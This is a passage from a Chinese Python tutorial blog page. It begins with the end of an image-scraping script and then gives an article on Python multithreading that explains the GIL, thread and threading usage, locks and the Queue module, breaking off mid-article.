img_urls这个初始化的列表</span></span><br><span class="line">        <span class="keyword">if</span> int(max_span) == page_num: <span class="comment">##我们传递下来的两个参数用上了 当max_span和Page_num相等时，就是最后一张图片了，最后一次下载图片并保存到数据库中。</span></span><br><span class="line">            self.save(img_url)</span><br><span class="line">            post = &#123;  <span class="comment">##这是构造一个字典，里面有啥都是中文，很好理解吧！</span></span><br><span class="line">                <span class="string">'标题'</span>: self.title,</span><br><span class="line">                <span class="string">'主题页面'</span>: self.url,</span><br><span class="line">                <span class="string">'图片地址'</span>: self.img_urls,</span><br><span class="line">                <span class="string">'获取时间'</span>: datetime.datetime.now()</span><br><span class="line">            &#125;</span><br><span class="line">            self.meizitu_collection.save(post) <span class="comment">##将post中的内容写入数据库。</span></span><br><span class="line">            print(<span class="string">u'插入数据库成功'</span>)</span><br><span class="line">        <span class="keyword">else</span>:  <span class="comment">##max_span 不等于 page_num执行这下面</span></span><br><span class="line">            self.save(img_url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, img_url)</span>:</span></span><br><span class="line">        name = img_url[<span class="number">-9</span>:<span class="number">-4</span>]</span><br><span class="line">        print(<span class="string">u'开始保存：'</span>, img_url)</span><br><span class="line">        img = down.get(img_url, <span class="number">3</span>)</span><br><span class="line">        f = open(name + <span class="string">'.jpg'</span>, <span class="string">'ab'</span>)</span><br><span class="line">        f.write(img.content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(self, path)</span>:</span></span><br><span class="line">        path = path.strip()</span><br><span class="line">        isExists = os.path.exists(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">            print(<span class="string">u'建了一个名字叫做'</span>, path, <span class="string">u'的文件夹！'</span>)</span><br><span class="line">            os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">u'名字叫做'</span>, path, <span class="string">u'的文件夹已经存在了！'</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Mzitu = mzitu() <span class="comment">##实例化</span></span><br><span class="line">Mzitu.all_url(<span class="string">'http://www.mzitu.com/all'</span>) <span class="comment">##给函数all_url传入参数  你可以当作启动爬虫（就是入口）</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/哎哟卧槽" class="author" itemprop="url" rel="index">哎哟卧槽</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-11-06 01:22:09" itemprop="dateCreated datePublished" datetime="2016-11-06T01:22:09+08:00">2016-11-06</time>
                </span>
                <span id="/3314.html" class="post-meta-item leancloud_visitors" data-flag-title="小白爬虫第三弹之去重去重" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>5.5k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>5 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3325.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/3325.html" class="post-title-link" itemprop="url">Python爬虫进阶五之多线程的用法</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>我们之前写的爬虫都是单个线程的？这怎么够？一旦一个地方卡到不动了，那不就永远等待下去了？为此我们可以使用多线程或者多进程来处理。 首先声明一点！ 多线程和多进程是不一样的！一个是 thread 库，一个是 multiprocessing 库。而多线程 thread 在 Python 里面被称作鸡肋的存在！而没错！本节介绍的是就是这个库 thread。 不建议你用这个，不过还是介绍下了，如果想看可以看看下面，不想浪费时间直接看 <a href="http://cuiqingcai.com/3335.html">multiprocessing 多进程</a></p>
                  <h2 id="鸡肋点"><a href="#鸡肋点" class="headerlink" title="鸡肋点"></a>鸡肋点</h2>
                  <h3 id="名言："><a href="#名言：" class="headerlink" title="名言："></a>名言：</h3>
                  <blockquote>
                    <p>“Python下多线程是鸡肋，推荐使用多进程！”</p>
                  </blockquote>
                  <p>那当然有同学会问了，为啥？</p>
                  <h3 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h3>
                  <p>1、GIL是什么？ GIL的全称是Global Interpreter Lock(全局解释器锁)，来源是python设计之初的考虑，为了数据安全所做的决定。 2、每个CPU在同一时间只能执行一个线程（在单核CPU下的多线程其实都只是并发，不是并行，并发和并行从宏观上来讲都是同时处理多路请求的概念。但并发和并行又有区别，并行是指两个或者多个事件在同一时刻发生；而并发是指两个或多个事件在同一时间间隔内发生。） 在Python多线程下，每个线程的执行方式：</p>
                  <ul>
                    <li>获取GIL</li>
                    <li>执行代码直到sleep或者是python虚拟机将其挂起。</li>
                    <li>释放GIL</li>
                  </ul>
                  <p>可见，某个线程想要执行，必须先拿到GIL，我们可以把GIL看作是“通行证”，并且在一个python进程中，GIL只有一个。拿不到通行证的线程，就不允许进入CPU执行。 在Python2.x里，GIL的释放逻辑是当前线程遇见IO操作或者ticks计数达到100（ticks可以看作是Python自身的一个计数器，专门做用于GIL，每次释放后归零，这个计数可以通过 sys.setcheckinterval 来调整），进行释放。 而每次释放GIL锁，线程进行锁竞争、切换线程，会消耗资源。并且由于GIL锁存在，python里一个进程永远只能同时执行一个线程(拿到GIL的线程才能执行)，这就是为什么在多核CPU上，python的多线程效率并不高。</p>
                  <h3 id="那么是不是python的多线程就完全没用了呢？"><a href="#那么是不是python的多线程就完全没用了呢？" class="headerlink" title="那么是不是python的多线程就完全没用了呢？"></a>那么是不是python的多线程就完全没用了呢？</h3>
                  <p>在这里我们进行分类讨论： 1、CPU密集型代码(各种循环处理、计数等等)，在这种情况下，由于计算工作多，ticks计数很快就会达到阈值，然后触发GIL的释放与再竞争（多个线程来回切换当然是需要消耗资源的），所以python下的多线程对CPU密集型代码并不友好。 2、IO密集型代码(文件处理、网络爬虫等)，多线程能够有效提升效率(单线程下有IO操作会进行IO等待，造成不必要的时间浪费，而开启多线程能在线程A等待时，自动切换到线程B，可以不浪费CPU的资源，从而能提升程序执行效率)。所以python的多线程对IO密集型代码比较友好。 而在python3.x中，GIL不使用ticks计数，改为使用计时器（执行时间达到阈值后，当前线程释放GIL），这样对CPU密集型程序更加友好，但依然没有解决GIL导致的同一时间只能执行一个线程的问题，所以效率依然不尽如人意。</p>
                  <h3 id="多核性能"><a href="#多核性能" class="headerlink" title="多核性能"></a>多核性能</h3>
                  <p>多核多线程比单核多线程更差，原因是单核下多线程，每次释放GIL，唤醒的那个线程都能获取到GIL锁，所以能够无缝执行，但多核下，CPU0释放GIL后，其他CPU上的线程都会进行竞争，但GIL可能会马上又被CPU0拿到，导致其他几个CPU上被唤醒后的线程会醒着等待到切换时间后又进入待调度状态，这样会造成线程颠簸(thrashing)，导致效率更低</p>
                  <h3 id="多进程为什么不会这样？"><a href="#多进程为什么不会这样？" class="headerlink" title="多进程为什么不会这样？"></a>多进程为什么不会这样？</h3>
                  <p>每个进程有各自独立的GIL，互不干扰，这样就可以真正意义上的并行执行，所以在python中，多进程的执行效率优于多线程(仅仅针对多核CPU而言)。 所以在这里说结论：多核下，想做并行提升效率，比较通用的方法是使用多进程，能够有效提高执行效率。 所以，如果不想浪费时间，可以直接看多进程。</p>
                  <h2 id="直接利用函数创建多线程"><a href="#直接利用函数创建多线程" class="headerlink" title="直接利用函数创建多线程"></a>直接利用函数创建多线程</h2>
                  <p>Python中使用线程有两种方式：函数或者用类来包装线程对象。</p>
                  <p>函数式：调用thread模块中的start_new_thread()函数来产生新线程。语法如下：</p>
                  <figure class="highlight reasonml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">thread.start<span class="constructor">_new_thread(<span class="params">function</span>, <span class="params">args</span>[, <span class="params">kwargs</span>])</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>参数说明:</p>
                  <ul>
                    <li>function - 线程函数。</li>
                    <li>args - 传递给线程函数的参数,他必须是个tuple类型。</li>
                    <li>kwargs - 可选参数。</li>
                  </ul>
                  <p>先用一个实例感受一下：</p>
                  <figure class="highlight applescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"></span><br><span class="line">import thread</span><br><span class="line">import <span class="built_in">time</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 为线程定义一个函数</span></span><br><span class="line">def print_time(threadName, <span class="built_in">delay</span>):</span><br><span class="line">    <span class="built_in">count</span> = <span class="number">0</span></span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">count</span> &lt; <span class="number">5</span>:</span><br><span class="line">        <span class="built_in">time</span>.sleep(<span class="built_in">delay</span>)</span><br><span class="line">        <span class="built_in">count</span> += <span class="number">1</span></span><br><span class="line">        print <span class="string">"%s: %s"</span> % (threadName, <span class="built_in">time</span>.ctime(<span class="built_in">time</span>.<span class="built_in">time</span>()))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建两个线程</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    thread.start_new_thread(print_time, (<span class="string">"Thread-1"</span>, <span class="number">2</span>,))</span><br><span class="line">    thread.start_new_thread(print_time, (<span class="string">"Thread-2"</span>, <span class="number">4</span>,))</span><br><span class="line">except:</span><br><span class="line">    print <span class="string">"Error: unable to start thread"</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">   pass</span><br><span class="line"></span><br><span class="line">print <span class="string">"Main Finished"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果如下：</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">01</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">03</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">03</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">05</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">07</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">07</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">09</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">11</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">15</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">16</span>:<span class="number">43</span>:<span class="number">19</span> <span class="number">2016</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>可以发现，两个线程都在执行，睡眠2秒和4秒后打印输出一段话。 注意到，在主线程写了</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">   pass</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这是让主线程一直在等待 如果去掉上面两行，那就直接输出</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">Main Finished</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>程序执行结束。</p>
                  <h2 id="使用Threading模块创建线程"><a href="#使用Threading模块创建线程" class="headerlink" title="使用Threading模块创建线程"></a>使用Threading模块创建线程</h2>
                  <p>使用Threading模块创建线程，直接从threading.Thread继承，然后重写<strong>init</strong>方法和run方法：</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"></span><br><span class="line">import threading</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">import thread</span><br><span class="line"></span><br><span class="line">exitFlag = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">myThread</span> (<span class="title">threading</span>.<span class="title">Thread</span>):   <span class="comment">#继承父类threading.Thread</span></span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>, threadID, name, counter)</span></span><span class="symbol">:</span></span><br><span class="line">        threading.Thread.__init_<span class="number">_</span>(<span class="keyword">self</span>)</span><br><span class="line">        <span class="keyword">self</span>.threadID = threadID</span><br><span class="line">        <span class="keyword">self</span>.name = name</span><br><span class="line">        <span class="keyword">self</span>.counter = counter</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(<span class="keyword">self</span>)</span></span>:                   <span class="comment">#把要执行的代码写到run函数里面 线程在创建后会直接运行run函数</span></span><br><span class="line">        print <span class="string">"Starting "</span> + <span class="keyword">self</span>.name</span><br><span class="line">        print_time(<span class="keyword">self</span>.name, <span class="keyword">self</span>.counter, <span class="number">5</span>)</span><br><span class="line">        print <span class="string">"Exiting "</span> + <span class="keyword">self</span>.name</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_time</span><span class="params">(threadName, delay, counter)</span></span><span class="symbol">:</span></span><br><span class="line">    <span class="keyword">while</span> <span class="symbol">counter:</span></span><br><span class="line">        <span class="keyword">if</span> <span class="symbol">exitFlag:</span></span><br><span class="line">            thread.exit()</span><br><span class="line">        time.sleep(delay)</span><br><span class="line">        print <span class="string">"%s: %s"</span> % (threadName, time.ctime(time.time()))</span><br><span class="line">        counter -= <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建新线程</span></span><br><span class="line">thread1 = myThread(<span class="number">1</span>, <span class="string">"Thread-1"</span>, <span class="number">1</span>)</span><br><span class="line">thread2 = myThread(<span class="number">2</span>, <span class="string">"Thread-2"</span>, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启线程</span></span><br><span class="line">thread1.start()</span><br><span class="line">thread2.start()</span><br><span class="line"></span><br><span class="line">print <span class="string">"Exiting Main Thread"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>运行结果：</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">Starting Thread<span class="number">-1</span>Starting Thread<span class="number">-2</span></span><br><span class="line"> </span><br><span class="line">Exiting Main Thread</span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">19</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">20</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">20</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">21</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">22</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">22</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">23</span> <span class="number">2016</span></span><br><span class="line">Exiting Thread<span class="number">-1</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">24</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">26</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">42</span>:<span class="number">28</span> <span class="number">2016</span></span><br><span class="line">Exiting Thread<span class="number">-2</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>有没有发现什么奇怪的地方？打印的输出格式好奇怪。比如第一行之后应该是一个回车的，结果第二个进程就打印出来了。 那是因为什么？因为这几个线程没有设置同步。</p>
                  <h2 id="线程同步"><a href="#线程同步" class="headerlink" title="线程同步"></a>线程同步</h2>
                  <p>如果多个线程共同对某个数据修改，则可能出现不可预料的结果，为了保证数据的正确性，需要对多个线程进行同步。 使用Thread对象的Lock和Rlock可以实现简单的线程同步，这两个对象都有acquire方法和release方法，对于那些需要每次只允许一个线程操作的数据，可以将其操作放到acquire和release方法之间。如下： 多线程的优势在于可以同时运行多个任务（至少感觉起来是这样）。但是当线程需要共享数据时，可能存在数据不同步的问题。 考虑这样一种情况：一个列表里所有元素都是0，线程”set”从后向前把所有元素改成1，而线程”print”负责从前往后读取列表并打印。 那么，可能线程”set”开始改的时候，线程”print”便来打印列表了，输出就成了一半0一半1，这就是数据的不同步。为了避免这种情况，引入了锁的概念。 锁有两种状态——锁定和未锁定。每当一个线程比如”set”要访问共享数据时，必须先获得锁定；如果已经有别的线程比如”print”获得锁定了，那么就让线程”set”暂停，也就是同步阻塞；等到线程”print”访问完毕，释放锁以后，再让线程”set”继续。 经过这样的处理，打印列表时要么全部输出0，要么全部输出1，不会再出现一半0一半1的尴尬场面。 看下面的例子：</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"></span><br><span class="line">import threading</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">myThread</span> (<span class="title">threading</span>.<span class="title">Thread</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>, threadID, name, counter)</span></span><span class="symbol">:</span></span><br><span class="line">        threading.Thread.__init_<span class="number">_</span>(<span class="keyword">self</span>)</span><br><span class="line">        <span class="keyword">self</span>.threadID = threadID</span><br><span class="line">        <span class="keyword">self</span>.name = name</span><br><span class="line">        <span class="keyword">self</span>.counter = counter</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">        print <span class="string">"Starting "</span> + <span class="keyword">self</span>.name</span><br><span class="line">       <span class="comment"># 获得锁，成功获得锁定后返回True</span></span><br><span class="line">       <span class="comment"># 可选的timeout参数不填时将一直阻塞直到获得锁定</span></span><br><span class="line">       <span class="comment"># 否则超时后将返回False</span></span><br><span class="line">        threadLock.acquire()</span><br><span class="line">        print_time(<span class="keyword">self</span>.name, <span class="keyword">self</span>.counter, <span class="number">3</span>)</span><br><span class="line">        <span class="comment"># 释放锁</span></span><br><span class="line">        threadLock.release()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">print_time</span><span class="params">(threadName, delay, counter)</span></span><span class="symbol">:</span></span><br><span class="line">    <span class="keyword">while</span> <span class="symbol">counter:</span></span><br><span class="line">        time.sleep(delay)</span><br><span class="line">        print <span class="string">"%s: %s"</span> % (threadName, time.ctime(time.time()))</span><br><span class="line">        counter -= <span class="number">1</span></span><br><span class="line"></span><br><span class="line">threadLock = threading.Lock()</span><br><span class="line">threads = []</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建新线程</span></span><br><span class="line">thread1 = myThread(<span class="number">1</span>, <span class="string">"Thread-1"</span>, <span class="number">1</span>)</span><br><span class="line">thread2 = myThread(<span class="number">2</span>, <span class="string">"Thread-2"</span>, <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启新线程</span></span><br><span class="line">thread1.start()</span><br><span class="line">thread2.start()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加线程到线程列表</span></span><br><span class="line">threads.append(thread1)</span><br><span class="line">threads.append(thread2)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 等待所有线程完成</span></span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> <span class="symbol">threads:</span></span><br><span class="line">    t.join()</span><br><span class="line"></span><br><span class="line">print <span class="string">"Exiting Main Thread"</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在上面的代码中运用了线程锁还有join等待。 运行结果如下：</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">Starting Thread<span class="number">-1</span></span><br><span class="line">Starting Thread<span class="number">-2</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">49</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">50</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-1</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">51</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">53</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">55</span> <span class="number">2016</span></span><br><span class="line">Thread<span class="number">-2</span>: Thu Nov  <span class="number">3</span> <span class="number">18</span>:<span class="number">56</span>:<span class="number">57</span> <span class="number">2016</span></span><br><span class="line">Exiting Main Thread</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样一来，你可以发现就不会出现刚才的输出混乱的结果了。</p>
                  <h2 id="线程优先级队列"><a href="#线程优先级队列" class="headerlink" title="线程优先级队列"></a>线程优先级队列</h2>
                  <p>Python的Queue模块中提供了同步的、线程安全的队列类，包括FIFO（先入先出)队列Queue，LIFO（后入先出）队列LifoQueue，和优先级队列PriorityQueue。这些队列都实现了锁原语，能够在多线程中直接使用。可以使用队列来实现线程间的同步。</p>
                  <p>Queue模块中的常用方法:</p>
                  <ul>
                    <li>Queue.qsize() 返回队列的大小</li>
                    <li>Queue.empty() 如果队列为空，返回True,反之False</li>
                    <li>Queue.full() 如果队列满了，返回True,反之False</li>
                    <li>Queue.full 与 maxsize 大小对应</li>
                    <li>Queue.get([block[, timeout]])获取队列，timeout等待时间</li>
                    <li>Queue.get_nowait() 相当Queue.get(False)</li>
                    <li>Queue.put(item) 写入队列，timeout等待时间</li>
                    <li>Queue.put_nowait(item) 相当Queue.put(item, False)</li>
                    <li>Queue.task_done() 在完成一项工作之后，Queue.task_done()函数向任务已经完成的队列发送一个信号</li>
                    <li>Queue.join() 实际上意味着等到队列为空，再执行别的操作</li>
                  </ul>
                  <p>用一个实例感受一下：</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
